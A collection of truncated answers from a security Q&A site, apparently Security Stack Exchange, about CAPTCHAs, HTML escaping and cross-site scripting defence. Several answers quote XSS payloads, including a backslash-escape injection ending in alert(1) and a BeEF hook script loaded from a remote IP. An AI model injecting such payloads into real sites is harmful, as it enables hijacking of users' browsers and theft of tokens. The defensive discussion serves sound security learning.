Tag Info

New answers tagged

3

CAPTCHAs are one area of computer security where "roll-your-own" can be a good idea. In order to break a CAPTCHA, a bot needs to be programmed to recognize and solve the CAPTCHA. For low-volume, low-value sites, the cost to program a bot to handle even a trivial CAPTCHA such as this is greater than the expected value of breaking it. By the simple ...


0

It does stop the most rudimentary bots which repeatedly POST the same form. As you have mentioned, a more sophisticated bot can evaluate the result and append the unique nonce to every request, thus defeating this system.The most sophisticated bots can even go one step further by performing optical character recognition(OCR) on captcha images and input the ...


0

Short answer, simple match in clear text is not a CAPTCHA. Read the CAPTCHA wiki to get a better understanding of what defines a CAPTCHA. CAPTCHA Characteristics: CAPTCHAs are by definition fully automated, requiring little human maintenance or intervention to administer. This has obvious benefits in cost and reliability. By definition, the ...


2

If your only concern is Code Execution, yes, you are safe. But like you said, you are vulnerable to Cross Site Scripting. And depends on the purpose of your page, you could be vulnerable to IP leak and token stealing.


1

Inside the element, the parsing mode is in data state. The only special characters that can escape data state are < and & (http://www.w3.org/TR/html5/syntax.html#tokenization sec.8.2.4.1). If you replace all instances of < with &lt; then you only need worry about &. In HTML4 and XML, you would need to consider which entity references are ...


1

It isn’t sufficient, no. Contrived backslash example: <script> var param1 = '{{ param1 }}'; var param2 = '{{ param2 }}'; </script> param1=\&param2=;alert(1)// <script> var param1 = '\'; var param2 = ';alert(1)//'; </script> Not to mention that your data won’t survive intact: <script> var param1 = '&lt;'; ...


5

Don't rely on using your own "conversion" rules, OWASP recommends using a security-focused encoding library to make sure the necessary rules are properly implemented. Escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. In addition to the 5 characters significant ...


4

It depends on where within the HTML document the data is printed as there are different contexts within different rules. Replacing a literal < by &lt; is only viable when < is a special character, which would change the current parsing state. There is a quick overview of prevention rules in OWASP’s XSS (Cross Site Scripting) Prevention Cheat ...


3

This is very bad practice. You are keeping a blacklist. But recommended way is keeping a whitelist which give only allowed chars after a filter. Answer to your question is, < can be hex encoded and write in other encoded schemes. So Simply replacing < with &lt; would not be adequate.


1

Where are you parsing out the <? If it is on the client, then you have have only maybe stopped a ten year old hacker (but not this ten year old hacker). However, if you are parsing out the executable code server-side, then yes, you've effectively stopped this particular form of injection -although there are more complete and secure ways of doing this. ...


4

Depends on a lot of factors. If the malicious input (all user's input is malicious by default) is echoed just to your HTML body and your server sends the headers "Content-Type: text/html; charset=utf-8" and "X-Content-Type-Options: nosniff", the answer is yes, this method is secure enough. When I say HTML body, I am supposing you are echoing the input to ...


1

This is not a zero-day vulnerability. A patch was released in the latest Patch Tuesday batch from Microsoft. National Vulnerability Database: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332 CVEDetails: http://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2014-6332 Metasploit module source: ...


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.



Top 50 recent answers are included